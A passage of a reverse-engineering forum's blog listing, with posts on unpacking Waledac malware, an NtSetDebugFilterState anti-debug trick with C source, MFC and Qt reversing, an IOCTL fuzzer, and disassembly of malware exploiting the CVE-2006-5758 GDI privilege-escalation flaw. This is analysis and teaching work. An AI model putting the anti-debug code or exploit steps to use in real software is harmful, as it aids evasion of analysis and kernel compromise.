RCE Messageboard's Regroupment   Woodmann.com Swag Woodmann.com Swag Woodmann.com Swag

Go Back   RCE Messageboard's Regroupment > Blogs


To keep track of the posts in all our local blogs, subscribe to this RSS feed

To keep track of new threads (in all forums) of the RCE Messageboard, subscribe to this RSS feed

To keep track of all updates to the Collaborative RCE Tool Library, subscribe to this RSS feed

To get your own (reversing related) blog here, simply login and then click "Post to my Blog" below!


Old

Malware: Unpacking Waledac

Posted 01-12-2009 at 02:15 PM by joren

Open the file in OllyDbg. Will look something like the following:

Code:
00401023 >/$ 55             PUSH EBP
00401024  |. 8BEC           MOV EBP,ESP
00401026  |. 6A FF          PUSH -1
00401028  |. 68 DC254000    PUSH card.004025DC
0040102D  |. 68 E1104000    PUSH card.004010E1     ;  SE handler installation
....
0040108D  |. B8 56224000    MOV EAX,card.00402256
00401092  |. 8902           MOV DWORD PTR DS:[EDX],EAX
00401094  |. 50             PUSH EAX                                 ; /ExitCode => 402256
00401095  \. FF15 4C304600  CALL DWORD PTR DS:[<&kernel32.ExitProces>; \ExitProcess
The call at the bottom is not always ExitProcess (GlobalLock, VirtualProtect, etc)

Go to address 00401000 in the dump and set a Breakpoint -> Hardware, on access -> Byte and run with F9

An access violation will occur on 00401092. This is intentional, press Shift+F9 to pass exception to the program

Your breakpoint will eventually hit and you may need to re-analyze (ctrl-a):

Code:
004011C3  |. 89C1           MOV ECX,EAX    ; landed here
004011C5  |. 83E1 03        AND ECX,3
004011C8  |. 83C6 03        ADD ESI,3
004011CB  |. 83C7 03        ADD EDI,3
004011CE  |. F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
004011D0  |. FC             CLD
004011D1  |> 5F             POP EDI
004011D2  |. 5E             POP ESI
004011D3  \. C3             RETN
Execute the return. You will then land in an area like the following:

Code:
00401663  |> 8D55 F4        |LEA EDX,DWORD PTR SS:[EBP-C]
00401666  |. 52             |PUSH EDX
00401667  |. 6A 40          |PUSH 40
....
00401681  |. FF4D F0        |DEC DWORD PTR SS:[EBP-10]
00401684  |.^75 8F          \JNZ SHORT card.00401615
00401686  |> 5F             POP EDI
00401687  |. 5E             POP ESI
00401688  |. 5B             POP EBX
00401689  |. 8BE5           MOV ESP,EBP
0040168B  |. 5D             POP EBP
0040168C  \. C2 1000        RETN 10
Execute the return here as well. You will then land in an area like the following:

Code:
004017FF  |. 8B7424 04      MOV ESI,DWORD PTR SS:[ESP+4]
00401803  |. 2BF3           SUB ESI,EBX
00401805  |. BF E8164000    MOV EDI,card.004016E8
0040180A  |. 03FE           ADD EDI,ESI
0040180C  |. 89F8           MOV EAX,EDI
0040180E  |. 53             PUSH EBX
0040180F  |. 56             PUSH ESI
00401810  |. FFD0           CALL EAX
Remove all breakpoints at this point. Note the CALL EAX at 00401810. Step into this call:

Code:
009216E8   55               PUSH EBP
....
0092176A   E8 29FDFFFF      CALL 00921498
0092176F   8BCB             MOV ECX,EBX
00921771   8B55 FC          MOV EDX,DWORD PTR SS:[EBP-4]
00921774   8B45 F8          MOV EAX,DWORD PTR SS:[EBP-8]
00921777   E8 30FDFFFF      CALL 009214AC
0092177C   83F8 01          CMP EAX,1
0092177F   75 20            JNZ SHORT 009217A1
....
0092179A   FF13             CALL DWORD PTR DS:[EBX]    ; kernel32.CreateThread
0092179C   6A FF            PUSH -1
0092179E   FF53 04          CALL DWORD PTR DS:[EBX+4]  ; kernel32.Sleep
009217A1   6A 00            PUSH 0
009217A3   FF53 24          CALL DWORD PTR DS:[EBX+24]
Continue single-stepping. Once you step over the call located at 00921777 you will see some modules were loaded (Alt-e). We are getting somewhere..

At this point go to the memory map (Alt-m), right-click the malware's .text section -> Set break-on-access. Now run with F9 again. You should get a break-on-access when writing to 00401000:

Code:
004ED0F3   8807             MOV BYTE PTR DS:[EDI],AL     ; bp hits here
004ED0F5   47               INC EDI
004ED0F6   01DB             ADD EBX,EBX
004ED0F8   75 07            JNZ SHORT card.004ED101
004ED0FA   8B1E             MOV EBX,DWORD PTR DS:[ESI]
004ED0FC   83EE FC          SUB ESI,-4
004ED0FF   11DB             ADC EBX,EBX
004ED101  ^72 ED            JB SHORT card.004ED0F0
004ED103   B8 01000000      MOV EAX,1
004ED108   01DB             ADD EBX,EBX
004ED10A   75 07            JNZ SHORT card.004ED113
Now we know we have required modules loaded and we are writing code...Scroll down a bit and you will see:

Code:
004ED27E   61               POPAD    ; restore registers
004ED27F   8D4424 80        LEA EAX,DWORD PTR SS:[ESP-80]
004ED283   6A 00            PUSH 0
004ED285   39C4             CMP ESP,EAX
004ED287  ^75 FA            JNZ SHORT card.004ED283
004ED289   83EC 80          SUB ESP,-80
004ED28C  ^E9 0121FAFF      JMP card.0048F392     ; jmp to OEP
004ED291   0000             ADD BYTE PTR DS:[EAX],AL
Looks like your typical UPX jump to OEP code... Remove all breakpoints and set a hardware breakpoint on execution on the JMP (004ED28C) and run with F9. The breakpoint should hit and now single-step execute the instruction. You should land here:

Code:
0048F392   E8 3AC50000      CALL card.0049B8D1  ; OEP
0048F397  ^E9 16FEFFFF      JMP card.0048F1B2
0048F39C   CC               INT3
At this point we can dump the debugged process and fix the imports. As a note, Olly had some issues dumping this (atleast for me) so I simply used LordPE. This method is obviously not the shortest, but was the initial flow I took when attempting to unpack it. Again, the addresses will obviously change, but the areas of code and this unpacking method seem to work well.

Nothing too difficult, but someone may learn/benefit from the above. Ping me if you see any errors...
Registered User
Posted in Uncategorized
Views 1568 Comments 0 joren is offline
Old

NtSetDebugFilterState as Anti-Dbg Trick

Posted 01-09-2009 at 01:11 PM by evilcry

The following paper will uncover some intersting Undocumented functions relative to Windows Debugging Support. NT is capable of generating and collecting text Debug Messages with an high grade of customization. User-mode and kernel-mode drivers use different routines to send output to the debugger.

User Mode: Uses OutputDebugString, that sends a null-terminated string to the debugger of the calling process. In a user-mode driver, OutputDebugString displays the string in the Debugger Command window. If a debugger is not running, this routine has no effect. OutputDebugString does not support the variable arguments of a printf formatted string.

Kernel Mode: Uses DbgPrint, that displays output in the debugger window. This routine supports the basic printf format parameters. Only kernel-mode drivers can call DbgPrint. There is also DbgPrintEx that is similar to DbgPrint, but it allows you to "tag" your messages. When running the debugger, you can permit only those messages with certain tags to be sent. This allows you to view only those messages that you are interested in.

This operation is called Filtering Debug Messages, how it works is a little bit undocumented, to understand how to go inside this aspect, let's start from DbgPrint / DbgPrintEx.

In Windows XP, DbgPrint has been extended by adding _vDbgPrintExWithPrefix, in this way DbgPrint and DbgPrintEx became wrappers of this function.

Code:
ULONG
  vDbgPrintExWithPrefix	(
	IN PCCH	Prefix,
	IN ULONG    ComponentId,
	IN ULONG    Level,
	IN PCCH     Format,
	IN va_list  arglist
	);
vDbgPrintExWithPrefix routine sends a string to the kernel debugger if certain conditions are met. This routine can append a prefix to debugger output to help organize debugging results.

Let's see what ComponentId means:

The component that is calling this routine. This parameter must be one of the component name filter IDs that are defined in Dpfilter.h. Each component is referred to in different ways, depending on the context. In the ComponentId parameter of DbgPrintEx, the component name is prefixed with DPFLTR_ and suffixed with _ID. In the registry, the component filter mask has the same name as the component itself. In the debugger, the component filter mask is prefixed with Kd_ and suffixed with _Mask.

Now let's see Level parameter:

The severity of the message that is being sent. This parameter can be any 32-bit integer. Values between 0 and 31 (inclusive)) are treated differently than values between 32 and 0xFFFFFFFF.
Filter masks that are created by the debugger take effect immediately and persist until Windows is restarted.

The debugger can override a value that is set in the registry, but the component filter mask returns to the value that is specified in the registry if the computer is restarted. There is also a system-wide mask called WIN2000. By default, this mask is equal to 0x1, but you can change it through the registry or the debugger like all other components. When filtering is performed, each component filter mask is first combined with the WIN2000 mask by using a bitwise OR. In particular, this combination means that components whose masks have never been specified default to 0x1.

By inspecting deeply vDbgPrintExWithPrefix we can see that it represent a wrap around NtQueryDebugFilterState that retrieves the state of the selected Debug Filter Mask. By inspecting xRefs we discover that NtQueryDebugFilterState is also used by DbgQueryDebugFilterState()

Code:
NTSTATUS __stdcall DbgQueryDebugFilterState(ULONG ComponentId, ULONG Level)
0045000C 	ComponentId     = dword ptr  8
0045000C 	Level           = dword ptr  0Ch
0045000C
0045000C     mov     edi, edi
0045000E     push    ebp
0045000F     mov     ebp, esp
00450011     pop     ebp
00450012     jmp     NtQueryDebugFilterState
00450012 _DbgQueryDebugFilterState end proc
As is obvious, DbgQueryDebugFilterState asks for the actual state of Debug Filters. Near the Query function we can see DbgSetFilterState()

Code:
NTSTATUS __stdcall DbgSetDebugFilterState(ULONG ComponentId, ULONG Level, BOOLEAN State)
0045001C     mov     edi, edi
0045001E     push    ebp
0045001F     mov     ebp, esp
00450021     pop     ebp
00450022     jmp     NtSetDebugFilterState
00450022     DbgSetDebugFilterState endp
DbgSetDebugFilterState is a wrapper of a native NtSetDebugFilterState(ULONG ComponentId, ULONG Level, BOOLEAN State)
As you can understand this is an intersting API cause attempts to modify the Debug Filter Mask:

Code:
0056384C NtSetDebugFilterState(ULONG ComponentId, unsigned int Level, char State)
0056384C	  mov     edi, edi
0056384E      push    ebp
0056384F      mov     ebp, esp
00563851      mov     eax, large fs:124h       ;KTHREAD
00563857      movsx   eax, byte ptr [eax+140h] ;KTHREAD->PreviousMode
0056385E      push    eax             
0056385F      push    ds:_SeDebugPrivilege.HighPart
00563865      push    ds:_SeDebugPrivilege.LowPart ;PrivilegeValue
0056386B      call    SeSinglePrivilegeCheck
00563870      test    al, al
00563872      jz      short loc_5638BE ;If PrivilegeValue does not match, exit 							and return 0xC00000022 error
SeSinglePrivilegeCheck checks for the passed privilege value in the context of the current thread, If PreviousMode is KernelMode, the privilege check always succeeds. Otherwise, this routine uses the token of the user-mode thread to determine whether the current (user-mode) thread has been granted the given privilege.
Here the rest of the function

Code:
v3 = &Kd_WIN2000_Mask;
 if ( ComponentId >= KdComponentTableSize )
    {
      if ( ComponentId != 0xFFFFFFFF )
        return 0xC00000EF;
    }
else
    {
      v3 = (int *)*(&KdComponentTable + ComponentId);
    }
    if ( Level <= 0x1F )
      v4 = 1 << (char)Level;
    else
      v4 = Level;
    v6 = v4;
    if ( !State )
      v6 = 0;
    *v3 = v6 | *v3 & ~v4;
    result = STATUS_SUCCESS;
Now we can implement a little Anti-Debug trick based on Debug State Awareness, indeed with NtSetDebugFilterState we are able to determine if the process is debugged or not:

Code:
#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "ntDefs.h"

#pragma comment(lib,"ntdll.lib")

int main(void)
{
	NTSTATUS ntStatus;
	
	ntStatus = NtSetDebugFilterState(0,0,TRUE);

	if (ntStatus != STATUS_SUCCESS)
		MessageBoxA(NULL,"Not Debugged","Warning",MB_OK);		

	else
		MessageBoxA(NULL,"Debugged","Warning",MB_OK);

	return (EXIT_SUCCESS);
-> ntDefs.h

Code:
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

extern "C"
__declspec(dllimport) 
ULONG __stdcall 
NtSetDebugFilterState(
					 ULONG ComponentId,
					 ULONG Level,
					 BOOLEAN State					 
					 );
Trick is really basilar if the Process is Debugged NtSetDebugFilterState returns STATUS_SUCCESS else returns 0xC00000022 Error Code. May be that this trick is already used, but for sure I haven's seen nothing about NtQueryDebugFilterState/NtSetDebugFilterState =)



Refs:
http://msdn.microsoft.com/en-us/library/ms792789.aspx
http://msdn.microsoft.com/en-us/library/ms804344.aspx


Thanks to #bug channel especially ratsoul 'n swirl

Regards,
Giuseppe 'Evilcry' Bonfa'
Registered User
Views 1159 Comments 7 evilcry is offline
Old

Guidelines to MFC reversing

Posted 12-29-2008 at 05:38 PM by pnluck

Tools - References
Reversing Microsoft Visual C++ Part II: Classes, Methods and RTTI http://www.openrce.org/articles/full_view/23
IDA http://www.hex-rays.com/idapro
Crackme http://quequero.org/uicwiki/images/Lezione6.zip

Prologue: What is MFC?
The Microsoft Foundation Classes Library (also Microsoft Foundation Classes or MFC) is a library that wraps portions of the Windows API in C++ classes, including functionality that allows to use a default application framework. Classes are defined for many of the handle-managed Windows objects and also for predefined windows and common controls.

Introduction
Software developed with MFC may import MFC80U.dll (MFC80U is the name of the last version of the dll, as I'm writing), it depends on the type of compilation: as a static library or as a shared DLL.
I'll analyze a software which imports the dll and has debug infos, just to make the job easier.
Once you understand MFC in this way, you can analyze MFC software compiled statically just adding to IDA the signatures of MFC and VisualC.

Essay
This is a standard C source code for windows:
Code:
LRESULT CALLBACK DialogProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
        switch(uMsg)
        {
        case WM_COMMAND:
                switch(LOWORD(wParam))
                {

                case IDC_ABOUT:
                        DialogBoxParam(GetModuleHandle(NULL), MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC)MainDialogProc, 0);
                        break;
                       
                        // ...
                }
        }
}
Instead this is source code that uses MFC:
Code:
class CAboutDlg : public CDialog
{
public:
        CAboutDlg();

// Dialog Data
        enum { IDD = IDD_ABOUTBOX };

protected:
        virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support

// Implementation
protected:
        DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)  //CAboutDlg::IDD is dialog ID          
{
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
        CDialog::DoDataExchange(pDX);
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) //Dialog Message Map: is like DialogProc
END_MESSAGE_MAP()

// App command to run the dialog
void CProvaRevApp::OnAppAbout()
{
        CAboutDlg aboutDlg;
        aboutDlg.DoModal();
}
How you can imagine the disasm of MFC software is harder to understand.

MFC Main
This is the Main disasm of our target:
Code:
.text:00401CBB                 public start
.text:00401CBB                 call    ___security_init_cookie
.text:00401CC0                 jmp     ___tmainCRTStartup

.text:004019FB ___tmainCRTStartup proc near            ; CODE XREF: start+5�j
.text:004019FB
.text:004019FB                 push    5Ch
.text:004019FD                 push    offset unk_403DD8
.text:00401A02                 call    __SEH_prolog4
;... other initialization code
.text:00401B3E                 push    ecx             ; nShowCmd
.text:00401B3F                 push    eax             ; lpCmdLine
.text:00401B40                 push    ebx             ; hPrevInstance
.text:00401B41                 push    400000h         ; hInstance
.text:00401B46                 call    _wWinMain@16    ; wWinMain(x,x,x,x)

; int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
_wWinMain@16 proc near
        jmp     ?AfxWinMain@@YGHPAUHINSTANCE__@@0PA_WH@Z ; AfxWinMain(HINSTANCE__ *,HINSTANCE__ *,wchar_t *,int)
_wWinMain@16 endp
As you can see WinMain calls AfxWinMain.
If you have VisualStudio you can see MFC source code, in this article I'll report only the functions we'll need.
Code:
int AFXAPI AfxWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
        _In_ LPTSTR lpCmdLine, int nCmdShow)
{
        ASSERT(hPrevInstance == NULL);

        int nReturnCode = -1;
        CWinThread* pThread = AfxGetThread();
        CWinApp* pApp = AfxGetApp();

        // AFX internal initialization
        if (!AfxWinInit(hInstance, hPrevInstance, lpCmdLine, nCmdShow))
                goto InitFailure;

        // App global initializations (rare)
        if (pApp != NULL && !pApp->InitApplication())
                goto InitFailure;

        // Perform specific initializations
        if (!pThread->InitInstance())
        {
                if (pThread->m_pMainWnd != NULL)
                {
                        TRACE(traceAppMsg, 0, "Warning: Destroying non-NULL m_pMainWnd\n");
                        pThread->m_pMainWnd->DestroyWindow();
                }
                nReturnCode = pThread->ExitInstance();
                goto InitFailure;
        }
        nReturnCode = pThread->Run();

InitFailure:
        AfxWinTerm();
        return nReturnCode;
}
This is the disasm of AfxWinMain:
Code:
.text:7831D2D2                 public AfxWinMain
.text:7831D2D2 AfxWinMain      proc near
.text:7831D2D2                 push    ebx
.text:7831D2D3                 push    esi
.text:7831D2D4                 push    edi
.text:7831D2D5                 or      ebx, 0FFFFFFFFh
.text:7831D2D8                 call    AfxGetModuleThreadState
.text:7831D2DD                 mov     esi, [eax+4] ;pThread
.text:7831D2E0                 call    AfxGetModuleState
.text:7831D2E5                 push    [esp+0Ch+arg_C]
.text:7831D2E9                 mov     edi, [eax+4]  ;pApp
.text:7831D2EC                 push    [esp+10h+arg_8]
.text:7831D2F0                 push    [esp+14h+arg_4]
.text:7831D2F4                 push    [esp+18h+arg_0]
.text:7831D2F8                 call    AfxWinInit
.text:7831D2FD                 test    eax, eax
.text:7831D2FF                 jz      short loc_7831D33D
.text:7831D301                 test    edi, edi    
.text:7831D303                 jz      short loc_7831D313
.text:7831D305                 mov     eax, [edi]
.text:7831D307                 mov     ecx, edi
.text:7831D309                 call    dword ptr [eax+98h]
.text:7831D30F                 test    eax, eax
.text:7831D311                 jz      short loc_7831D33D
.text:7831D313
.text:7831D313 loc_7831D313:
.text:7831D313                 mov     eax, [esi]
.text:7831D315                 mov     ecx, esi
.text:7831D317                 call    dword ptr [eax+58h]
.text:7831D31A                 test    eax, eax
.text:7831D31C                 jnz     short loc_7831D334
.text:7831D31E                 cmp     [esi+20h], eax
.text:7831D321                 jz      short loc_7831D32B
.text:7831D323                 mov     ecx, [esi+20h]
.text:7831D326                 mov     eax, [ecx]
.text:7831D328                 call    dword ptr [eax+68h]
.text:7831D32B
.text:7831D32B loc_7831D32B:
.text:7831D32B                 mov     eax, [esi]
.text:7831D32D                 mov     ecx, esi
.text:7831D32F                 call    dword ptr [eax+70h]
.text:7831D332                 jmp     short loc_7831D33B
.text:7831D334
.text:7831D334 loc_7831D334:
.text:7831D334                 mov     eax, [esi]
.text:7831D336                 mov     ecx, esi
.text:7831D338                 call    dword ptr [eax+5Ch]
.text:7831D33B
.text:7831D33B loc_7831D33B:  
.text:7831D33B                 mov     ebx, eax
.text:7831D33D
.text:7831D33D loc_7831D33D:
.text:7831D33D                 call    AfxWinTerm
.text:7831D342                 pop     edi
.text:7831D343                 pop     esi
.text:7831D344                 mov     eax, ebx
.text:7831D346                 pop     ebx
.text:7831D347                 retn    10h
.text:7831D347 AfxWinMain      endp
In the code there are calls as call [eax+XXh]: actually the call to AfxGetApp (and AfxGetThread) gives back a pointer to a structure that has offsets of all functions used by MFC framework.
In this case edi (pApp) holds the offset of 405498, which value is 40349C VA, where the virtual functions table of CWinApp is stored:
Code:
.rdata:0040349C off_40349C      dd offset ?GetRuntimeClass@CWinApp@@UBEPAUCRuntimeClass@@XZ ;CWinApp::GetRuntimeClass(void)
.rdata:004034A0                 dd offset sub_401010
.rdata:004034A4                 dd offset nullsub_1
.rdata:004034A8                 dd offset nullsub_2
.rdata:004034AC                 dd offset nullsub_1
.rdata:004034B0                 dd offset ?OnCmdMsg@CCmdTarget@@UAEHIHPAXPAUAFX_CMDHANDLERINFO@@@Z ; CCmdTarget::OnCmdMsg(uint,int,void *,AFX_CMDHANDLERINFO *)
.rdata:004034B4                 dd offset ?OnFinalRelease@CCmdTarget@@UAEXXZ ; CCmdTarget::OnFinalRelease(void)
.rdata:004034B8                 dd offset ?IsInvokeAllowed@CCmdTarget@@UAEHJ@Z ; CCmdTarget::IsInvokeAllowed(long)
...
pnluck's Avatar
Italy
Posted in Uncategorized
Views 2339 Comments 2 pnluck is offline
Old

IOCTL-Proxy

Posted 12-21-2008 at 01:10 PM by _g_

This is a POC of IOCTL fuzzer. It gave surprisingly good results.

IOCTL-Proxy works by hooking NtDeviceIoControlFile, manipulating its' parameters and feeding them to the real function.

Load the driver and simply click around in application you want to test.

You will get a lot of BSODS, be careful.

PreviousMode==KernelMode is ignored, since we are only interested in calls from UserMode to KernelMode, not Kernel->Kernel.

Get it here:
http://www.orange-bat.com
_g_
Registered User
Posted in Uncategorized
Views 1438 Comments 7 _g_ is offline
Old

Dynamic C++ Proposal

Posted 12-17-2008 at 05:19 PM by Daniel Pistelli
Updated 12-17-2008 at 06:01 PM by Daniel Pistelli

As anticipated, I just finished my Dynamic C++ proposal. This is not a reversing related article, but a good knowledge of C++ internals and assembly is necessary to read it. I'm glad I'm it's over, frankly. I'd like to thank my friend Quake2 for all his support during the last month.

http://ntcore.com/Files/dyncpp.htm

I wrote this document because I needed to express myself about this subject. Despite the fact that C++ is one of the most used programming language, especially for serious projects, it gets much criticism for being messy, bloated, complicate etc. I believe these critics miss the point. Yes, C++ is a very powerful programming language and that's why it is difficult. And this is also why sometimes C++ source codes are poorly written. I don't believe in improvements of C++ resulting in a new programming language. All attempts in that direction have failed. I think that C++ is here to stay for many reasons. Not only because of the amount of code already available in C++, but also because at the moment there isn't a better programming language for large projects. The only thing I want is for C++ to evolve, but not by losing compatibility with older code or by removing some features. No, I'd like C++ to evolve in a healthy and compatible way. This paper contains the suggestions to achieve this and I will demonstrate technically how it can be implemented at low level.

Everybody should be warned that the material contained in this paper is purely theoretical. The first idea behind this paper came out while working on a particular project. At the time I discovered myself in need of particular dynamic features. So, for many months I had some ideas in the background of my mind and decided eventually to write them down. So, in this paper I'm going to talk about the current status of dynamism for C++, why dynamism is important and what could be done. At the time of writing (November 2008) the new C++0x (or C++09) standard has not yet been introduced. However, I will talk about it throughout this paper when the related topic is affected by it.
Registered User
Posted in Uncategorized
Views 1206 Comments 6 Daniel Pistelli is offline
Old

Command line version of OSR's DeviceTree

Posted 12-16-2008 at 11:06 AM by _g_

Get it here: http://orange-bat.com/code/device.tree.cmd.rar

Sample output:

Code:
Unloading ObjInfo driver
Loading driver: D:\tools\devicetree\i386\OBJINFO.SYS
No service, creating...
Service not running, starting...
Service started.
Driver object: 0x89c98a08
Service name: nvata
Device name: \Device\00000138, type: 0x00000007
Device name: \Device\NvAta2, type: 0x00000001
Device name: \Device\NvAta1, type: 0x00000001
Device name: \Device\NvAta0, type: 0x00000001

Driver object: 0x89c8a8d0
Service name: NDIS
Device name: \Device\Ndis, type: 0x00000012

Driver object: 0x89cdad28
Service name: KSecDD
Device name: \Device\KsecDD, type: 0x00000039

Driver object: 0x8897b218
Service name: Beep
Device name: \Device\Beep, type: 0x00000001

Driver object: 0x899e7418
Service name: Raspti
Device name: \Device\{AA56C973-4F1C-4D19-8BAC-4FA6F14D80CB}, type: 0x00000017

Driver object: 0x89aab928
Service name: Mouclass
Device name: \Device\PointerClass1, type: 0x0000000f
Device name: \Device\PointerClass0, type: 0x00000000
.
.
.
It's useful when coding IOCTL fuzzer for example
_g_
Registered User
Posted in Uncategorized
Views 1237 Comments 0 _g_ is offline
Old

Backdoor.Win32.UltimateDefender Reverse Engineering

Posted 12-08-2008 at 11:30 AM by evilcry

Hi,

I've released Backdoor.Win32.UltimateDefender.gtz Reverse Engineering:

http://evilcry.netsons.org/tuts/Mw/Backdoor-UltimateDefender.pdf

Regards,
Giuseppe 'Evilcry' Bonfa'
Registered User
Views 1332 Comments 7 evilcry is offline
Old

Qt Internals & Reversing

Posted 11-27-2008 at 07:34 PM by Daniel Pistelli
Updated 11-27-2008 at 07:42 PM by Daniel Pistelli

Today I took a break from the larger article I'm currently writing. To relax, I wrote a smaller article about the Qt framework. I hope you enjoy.

Qt Internals & Reversing

Half of the text of this article comes from my larger paper "Dynamic C++ Proposal". I decided that it was useful to take the part about Qt internals, put it into another article and extend it by adding a reversing part. Because of its nature, this is not the usual kind of article I write. In fact, I wrote the reversing part in less than a day. So, this is a very easy one. However, I think it is useful for people who need to reverse a Qt application and certainly wouldn't consider reading my other paper about Dynamic C++, which doesn't sound like a paper about Qt and, in fact, isn't a paper about Qt: the paragraph about Qt is only one among many others. Moreover, I haven't seen serious articles about this subject.

The first thing which needs to be considered when reversing Qt applications is what Qt brought to the C++ language. Events (inside the Qt framework) are just virtual functions, so nothing new there. This is not a C++ reversing guide. What is new in Qt are signals and slots, which rely on the dynamism of the Qt framework.

So, first thing I'm going to show how this dynamism works. The second part focus on reversing and, at that point, I will show how to obtain all the metadata one needs when disassembling a "Q_OBJECT" class.
Registered User
Posted in Uncategorized
Views 1151 Comments 11 Daniel Pistelli is offline
Old

CVE-2006-5758: better late than ever

Posted 11-25-2008 at 10:21 AM by ZaiRoN

I put my hands on a malware linked from one of the online malware repositories (md5: 57127815d6864a495151e49c7bf7d192). From a quick glance at it I had the impression it’s an interesting malware to play with. It’s recognizable by almost all the antivirus products out there, and to have an idea about what it does I read some technical descriptions from some random antivirus pages.
In this post I won’t describe what the malicious file does, but I’ll spend few words on a specific behaviour only: CVE-2006-5758. I didn’t check all the sites, but seems like no one is reporting information about the exploit used inside this malware. It tries to exploit a GDI Local Elevation of Privilege vulnerability, patched on April 2007 (MS07-017); yes, more than one year and a half old. From what I have seen there’s only one article on the web talking about this malicious file, it’s available here http://cyberinsecure.com/malware-uses-gdi-local-elevation-of-privilege-vulnerability-to-install-untraceable-rootkit/ .
The article doesn’t refer to a specific malware, and I don’t know if I have the same file, but the quick description reveals almost the same characteristics of the file I’m working on:
After remapping the memory, the malware will initialize a CPalette object. It will then search for the palette object in the shared kernel memory structure. Since the memory is now writable, it can be altered to include a pointer to a special function that will remove any existing SST hooks. Finally, a call to GetNearestPaletteIndex will indirectly cause the function to be executed. Afterwards, the palette object is restored leaving no trace of the attack.“.
I’ll use this comment to guide you through the post.

I wasn’t able to identify the packer used to protect the malware, it’s not such a problem indeed because the exe file is debug-able and it’s not hard to step through the code. You can try rebuilding the file, but in general I prefer to work on untouched files so my best choice it’s a simple dump. After that, in order to view all runtime retrieved functions I use my Ida plugin named Reveal Imports. In this way you can easily navigate through the disasmed file. Looking at the revealed imports I noticed some weird functions:



Quite unusual functions for a malware. The first thing to do is to check if they are used or not. These functions are called by the malware, and now I have to understand why. From my non professional experience with malwares in general, I know that most of the time the unusual code you see inside a malware comes from a source code available online. Google is a good friend, and a simple search reveals something interesting at http://www.milw0rm.com/exploits/3755 .
It’s the source code of the exploit that is used inside the malware (not the source of the malware!). I think it’s quite useful for newbies to disasm a routine having an eye on the source code, this malware represents a good exercize.


After remapping the memory…
The *exploit* routine starts at 40293E, and there’s an interesting loop at the beginning of the routine:
Code:
40296C search_right_handle:
40296C    cmp  [ebp+hFileMappingObject], 0FFFFh   ; hFileMappingObject is initially 0
402973    jnb  short loc_4029C1
402975    xor  eax, eax
402977    mov  [ebp+var_28], eax
40297A    push eax                             ; dwNumberOfBytesToMap
40297B    push eax                             ; dwFileOffsetLow
40297C    push eax                             ; dwFileOffsetHigh
40297D    push FILE_MAP_ALL_ACCESS             ; dwDesiredAccess
402982    push [ebp+hFileMappingObject]        ; hFileMappingObject
402985    call ds:MapViewOfFile
40298B    mov  [ebp+lpBaseAddress], eax
40298E    test eax, eax
402990    jz   short MapView_fails
402992    lea  ecx, [ebp+var_2C]
402995    push 0                          ; ResultLength
402997    push 10h                        ; SectionInformationLength
402999    push ecx                        ; SectionInformation
40299A    push 0                          ; SectionInformationClass
40299C    push [ebp+hFileMappingObject]   ; SectionHandle
40299F    call NtQuerySection             ; Retrieves information about the section object
4029A5    cmp  [ebp+var_28], SEC_COMMIT
4029AC    jz   short section_found
4029AE    push [ebp+lpBaseAddress]        ; lpBaseAddress
4029B1    call ds:UnmapViewOfFile         ; Wrong handle, unmap!
4029B7    xor  eax, eax
4029B9    mov  [ebp+lpBaseAddress], eax
4029BC
4029BC MapView_fails:
4029BC    inc  [ebp+hFileMappingObject]   ; Increments hFileMappingObject
4029BF    jmp  short search_right_handle
It repeatedly calls MapViewOfFile function using handle from 0 to 0xFFFF. If it finds the right handle it goes on with the rest of the code. As you can see from the snippet the malware restores the state of a wrong mapped view calling UnMapViewOfFile. That’s because it needs one and only one specific kind of section. It’s the first important step to complete.
On my XP machine the malware locates the right mapped view at 0xC30000, if you look at Ollydbg’s “Memory map” window you’ll see it only after MapViewOfFile was called; you should know why.

…the malware will initialize a CPalette object…
Code:
4029CC call RtlAllocateHeap_bridge   ; Allocates memory space
4029D1 test eax, eax
4029D3 jz   loc_402AA4
4029D9 mov  [ebp+var_14], eax
4029DC mov  word ptr [eax+2], 1    ; palNumEntries
4029E2 mov  word ptr [eax], 300h   ; palVersion
4029E7 push eax                    ; Logical palette
4029E8 call CreatePalette          ; Creates a logical palette
Pretty easy to understand.


…It will then search for the palette object in the shared memory structure…
The mapped view is then used by the malware inside a new loop. The malware looks for a PGDI_TABLE_ENTRY through the new memory space:
Code:
402A04 search_object:
402A04    mov  eax, [ebp+lpBaseAddress]
402A07    add  eax, [ebp+var_24]
402A0A    cmp  [ebp+GDI_Structure], eax         ; Is it inside the mapped memory?
402A0D    jnb  short loc_402A37
402A0F    mov  eax, [ebp+GDI_Structure]
402A12    xor  ecx, ecx
402A14    mov  cx, [eax+4]
402A18    mov  edx, [ebp+Pid]                   ; pGdiEntry->ProcessID
402A1B    cmp  ecx, edx
402A1D    jnz  short try_next_structure
402A1F    xor  ecx, ecx
402A21    mov  cx, [eax+0Ah]                    ; pGdiEntry->nType
402A25    cmp  ecx, 8                           ; PAL_TYPE
402A28    jnz  short try_next_structure
402A2A    mov  eax, [eax]                       ; pGdiEntry->pKernelInfo
402A2C    mov  [ebp+original_KernelInfo], eax   ; Saves the original value
402A2F    jmp  short loc_402A37
402A31 try_next_structure:
402A31    add  [ebp+GDI_Structure], 10h         ; Moves on the next structure to check
402A35    jmp  short search_object
It saves the original value of KernleInfo field which contains a pointer to something stored at ring0. You can imagine why it’s saving that value.. it will replace the address with something else for sure.


…it can be altered to include a pointer to a special function…
Code:
402A3E call _RtlAllocateHeap_bridge
   ...
402A4E push [ebp+hO]
402A51 pop  dword ptr [eax]              ; Stores handle obtained calling CreatePalette
402A53 mov  dword ptr [eax+14h], 1
402A5A push [ebp+hook_hidden_function]   ; push 402AC0
402A5D pop  dword ptr [eax+3Ch]          ; Stores the real function to call
   ...
402A6B mov  eax, [ebp+GDI_Structure]     ; Address of the original structure to replace
402A6E push [ebp+fake_structure]         ; Push the fake structure address
402A71 pop  dword ptr [eax]              ; To tamper!
